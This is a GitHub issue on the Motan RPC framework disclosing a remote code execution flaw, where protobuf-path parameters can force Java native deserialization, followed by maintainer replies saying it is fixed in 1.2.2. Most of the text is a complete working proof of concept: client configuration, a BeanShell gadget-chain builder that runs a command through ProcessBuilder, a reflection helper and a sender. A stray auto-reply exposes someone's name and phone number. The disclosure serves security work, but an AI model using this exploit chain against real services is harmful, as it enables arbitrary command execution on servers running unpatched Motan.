weibocom / motan

A cross-language remote procedure call(RPC) framework for rapid development of high performance distributed services.
Other
5.89k stars 1.78k forks source link

A new RCE Vulnerability #1039

Closed qxyuan853 closed 1 year ago

qxyuan853 commented 1 year ago

Problem Statement Motan supports the utilization of the protobuf protocol within its RPC communication framework. Through analysis, we have discovered that attackers can achieve Remote Code Execution(RCE) attacks by sending meticulously crafted serialized data to the service port utilizing protobuf protocol.

Reproduce Provider Side We employed the built-in module "motan-demo" of the project to set up the test environment for the attack. The JDK version used is 8u351.

截屏2023-08-15 21 24 01 image

According to the configuration, attackers send meticulously crafted serialized data to port 8003 to exploit the vulnerability. The following section outlines the process of constructing the serialized data.

Attack Principle As depicted in Figure (a) below, when clazz represents a superclass of Throwable.class, the Java native deserialization protocol is employed. The ObjectInputStream.readObject method is used to deserialize the received data. The clazz is derived from the parameterDesc in Figure (b) (Line 309), and this variable is extracted from the serialized data sent by the attacker (Line 302), allowing the attacker to exercise arbitrary control over it. Hence, attackers can prompt the Provider side to employ the JDK's native deserialization protocol for deserializing arbitrary serialized data, thereby achieving Remote Command Execution (RCE) attacks.

image

(a)

image

(b)

Below, a comprehensive POC example is presented based on a well-known and established gadget chain.

POC

import com.weibo.motan.demo.service.MotanDemoServiceTest; import org.springframework.context.ApplicationContext; import org.springframework.context.support.ClassPathXmlApplicationContext;

import static payload.evilObjGenerator.evilObjGenerator.getBshObject;

public class MotanRpcClientTest { public static void main(String[] args) throws Exception { ApplicationContext ctx = new ClassPathXmlApplicationContext(new String[]{"classpath:motan_demo_client_test.xml"}); MotanDemoServiceTest service = (MotanDemoServiceTest) ctx.getBean("motanDemoReferer-pb"); service.testPD( getBshObject()); System.exit(0); } }

`classpath:motan_demo_client_test.xml`

<?xml version="1.0" encoding="UTF-8"?>

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:motan="http://api.weibo.com/schema/motan" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-2.5.xsd http://api.weibo.com/schema/motan http://api.weibo.com/schema/motan.xsd">

<!-- 注册中心配置 使用不同注册中心需要依赖对应的jar包。-->
<!--<motan:registry regProtocol="local" name="registry"/>-->
<!--<motan:registry regProtocol="consul" name="registry" address="127.0.0.1:8500"/>-->
<!--<motan:registry regProtocol="zk" name="registry" address="127.0.0.1:2181" connectTimeout="2000"/>-->

<motan:registry regProtocol="direct" name="registry" address="127.0.0.1:8001"/>
<motan:registry regProtocol="direct" name="registry2" address="127.0.0.1:8002"/>
<motan:registry regProtocol="direct" name="registry3" address="127.0.0.1:8003"/>

<!-- motan2 with hessian serialization -->
<motan:protocol id="motan" name="motan" haStrategy="failover"
                loadbalance="roundrobin" maxClientConnection="10" minClientConnection="2"/>

<!-- motan2 with simple serialization -->
<motan:protocol id="motan-simple" name="motan" haStrategy="failover" serialization="simple"/>
<motan:protocol id="motan-breeze" name="motan" haStrategy="failover" serialization="breeze"/>
<!-- motan2 with pb serialization -->
<motan:protocol id="motan-pb" name="motan" haStrategy="failover" serialization="protobuf"/>

<!-- 通用referer基础配置 -->
<motan:basicReferer requestTimeout="1000" accessLog="false" asyncInitConnection="false"
                    retries="2" group="motan-demo-rpc" module="motan-demo-rpc"
                    application="myMotanDemo" protocol="motan" registry="registry"
                    id="motantestClientBasicConfig" throwException="true" check="true"/>

<!-- 具体referer配置。使用方通过beanid使用服务接口类 -->
<motan:referer id="motanDemoReferer"
               interface="com.weibo.motan.demo.service.MotanDemoServiceTest"
               basicReferer="motantestClientBasicConfig"/>
<motan:referer id="motanDemoReferer-simple" registry="registry2"
               interface="com.weibo.motan.demo.service.MotanDemoService" protocol="motan-simple"
               basicReferer="motantestClientBasicConfig"/>
<motan:referer id="motanDemoReferer-breeze" registry="registry2"
               interface="com.weibo.motan.demo.service.MotanDemoService" protocol="motan-breeze"
               basicReferer="motantestClientBasicConfig"/>
<motan:referer id="motanDemoReferer-pb" registry="registry3"
               interface="com.weibo.motan.demo.service.MotanDemoServiceTest" protocol="motan-pb"
               basicReferer="motantestClientBasicConfig"/>
<motan:referer id="motanDemoReferer-common-client" protocol="motan" registry="registry"
               serviceInterface="com.weibo.motan.demo.service.MotanDemoService"
               connectTimeout="1000" requestTimeout="1000" basicReferer="motantestClientBasicConfig"/>


`MotanDemoServiceTest`

package com.weibo.motan.demo.service;

public interface MotanDemoServiceTest { Object testPD(Object obj) throws Exception; }


- Step2: In the serialized data sent to the Provider Side, modify the parameter (`java.lang.Object`) of the `testPD` method to `java.lang.Throwable`. This modification can be simply accomplished using the following approach (Line 165).
<img width="348" alt="image" src="https://github.com/weibocom/motan/assets/142065397/789b1608-2fc8-499b-9d0d-96c1153248bf">

- Step3: Due to the utilization of the JDK's native deserialization protocol at this deserialization point, and the absence of any configured blacklists, a multitude of well-known gadget chains can be employed for attacks. Below, an example is provided using a well-known gadget chain (e.g. in `getBshObject()`). 
- This gadget chain relies on a popular component and is configured as follows.
org.beanshell bsh 2.0b5

- Exploit code example within `getBshObject()`

public static Object getBshObject() throws Exception { // BeanShell payload

    String payload =
            "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" +
                    Strings.join( // does not support spaces in quotes
                            Arrays.asList("open /System/Applications/Calculator.app".replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")),
                            ",", "\"", "\"") +
                    "}).start();return new Integer(1);}";

    Interpreter i = new Interpreter();

    i.eval(payload);

    XThis xt = new XThis(i.getNameSpace(), i);
    InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);

    Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);

    final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
    Object[] queue = new Object[] {1,1};
    Reflections.setFieldValue(priorityQueue, "queue", queue);
    Reflections.setFieldValue(priorityQueue, "size", 2);

    return priorityQueue;
}

`Reflections`

package payload.util;

import com.nqzero.permit.Permit; import sun.reflect.ReflectionFactory;

import java.lang.reflect.AccessibleObject; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException;

public class Reflections {

public static void setAccessible(AccessibleObject member) {
    String versionStr = System.getProperty("java.version");
    int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
    if (javaVersion < 12) {
        // quiet runtime warnings from JDK9+
        Permit.setAccessible(member);
    } else {
        // not possible to quiet runtime warnings anymore...
        // see https://bugs.openjdk.java.net/browse/JDK-8210522
        // to understand impact on Permit (i.e. it does not work
        // anymore with Java >= 12)
        member.setAccessible(true);
    }
}

public static void setFieldValue(Object obj, String field, Object value){
    try{
        Class clazz = obj.getClass();
        Field fld = getField(clazz,field);
        fld.setAccessible(true);
        fld.set(obj, value);
    }catch (Exception e){
        e.printStackTrace();
    }
}

public static Field getField (final Class<?> clazz, final String fieldName ) throws Exception {
    try {
        Field field = clazz.getDeclaredField(fieldName);
        if ( field != null )
            field.setAccessible(true);
        else if ( clazz.getSuperclass() != null )
            field = getField(clazz.getSuperclass(), fieldName);

        return field;
    }
    catch ( NoSuchFieldException e ) {
        if ( !clazz.getSuperclass().equals(Object.class) ) {
            return getField(clazz.getSuperclass(), fieldName);
        }
        throw e;
    }
}

public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
    final Field field = getField(obj.getClass(), fieldName);
    return field.get(obj);
}

public static Constructor<?> getFirstCtor(final String name) throws Exception {
    final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
    setAccessible(ctor);
    return ctor;
}
public static Constructor<?> getFirstCtor(Class clazz) throws Exception {
    final Constructor<?> ctor = clazz.getDeclaredConstructors()[0];
    setAccessible(ctor);
    return ctor;
}

public static Object newInstance(String className, Object ... args) throws Exception {
    return getFirstCtor(className).newInstance(args);
}

public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
        throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
    return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}

/**
 * 使用constructorClass的构造器构造一个classToInstantiate类
 * @param classToInstantiate 要初始化的类类型
 * @param constructorClass 构造器类
 * @param consArgTypes 参数类
 * @param consArgs  参数数值
 * @return
 * @param <T>
 */
@SuppressWarnings ( {"unchecked"} )
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
        throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
    Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
    setAccessible(objCons);
    Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
    setAccessible(sc);
    return (T)sc.newInstance(consArgs);
}

public static <T> T createWithNoArgsConstructor(Class<T> clzToInstantiate) {

    T resObj = null;
    try{
        Constructor<?> constructor = clzToInstantiate.getDeclaredConstructor();
        constructor.setAccessible(true);
        resObj = (T)constructor.newInstance();
    } catch (NoSuchMethodException e) {
        try {
            resObj = createWithConstructor(clzToInstantiate, clzToInstantiate.getSuperclass(),
                    new Class[0], new Object[0]);
        } catch (NoSuchMethodException | InstantiationException | IllegalAccessException | InvocationTargetException eInner) {
            resObj = createWithObjectNoArgsConstructor(clzToInstantiate);
        }
    } catch (InvocationTargetException | InstantiationException | IllegalAccessException e) {
        e.printStackTrace();
    }

    return resObj;
}

public static <T> T createWithObjectNoArgsConstructor(Class<T> clzToInstantiate) {

    T resObject = null;
    try{
        resObject = createWithConstructor(clzToInstantiate, Object.class, new Class[0], new Object[0]);
    } catch (NoSuchMethodException | InstantiationException | IllegalAccessException | InvocationTargetException e) {
    }

    return resObject;

}

}


**Send the attack payload**

package com.weibo.motan.demo.client;

import com.weibo.motan.demo.service.MotanDemoServiceTest; import org.springframework.context.ApplicationContext; import org.springframework.context.support.ClassPathXmlApplicationContext;

import static payload.evilObjGenerator.evilObjGenerator.getBshObject;

public class MotanRpcClientTest { public static void main(String[] args) throws Exception { ApplicationContext ctx = new ClassPathXmlApplicationContext(new String[]{"classpath:motan_demo_client_test.xml"}); MotanDemoServiceTest service = (MotanDemoServiceTest) ctx.getBean("motanDemoReferer-pb"); service.testPD( getBshObject()); System.exit(0); } }



**Attack Impact**
Remote Command Execution (RCE), in this attack test, manifests as the invocation of the calculator application.
<img width="1033" alt="截屏2023-08-15 22 27 08" src="https://github.com/weibocom/motan/assets/142065397/c559c89d-f090-4964-8d76-e99c3b49a563">

<img width="919" alt="截屏2023-08-15 22 19 12" src="https://github.com/weibocom/motan/assets/142065397/36c94426-504d-47cd-a494-78f8ada4daa9">

<img width="1199" alt="截屏2023-08-15 22 13 22" src="https://github.com/weibocom/motan/assets/142065397/2d5999c7-657e-4263-a155-5017f494b178">
rayzhang0603 commented 1 year ago

Thanks for the feedback, we will fix this issue as soon as possible

rayzhang0603 commented 1 year ago

This RCE Vulnerability has been fixed in version 1.2.2, see #1040 for details

sevenDay2014 commented 1 year ago

您好,你发送的邮件我已经收到,尽快给您回复,如有急事,请随时电话联系!                                                 张付红                                                 tel:13265450448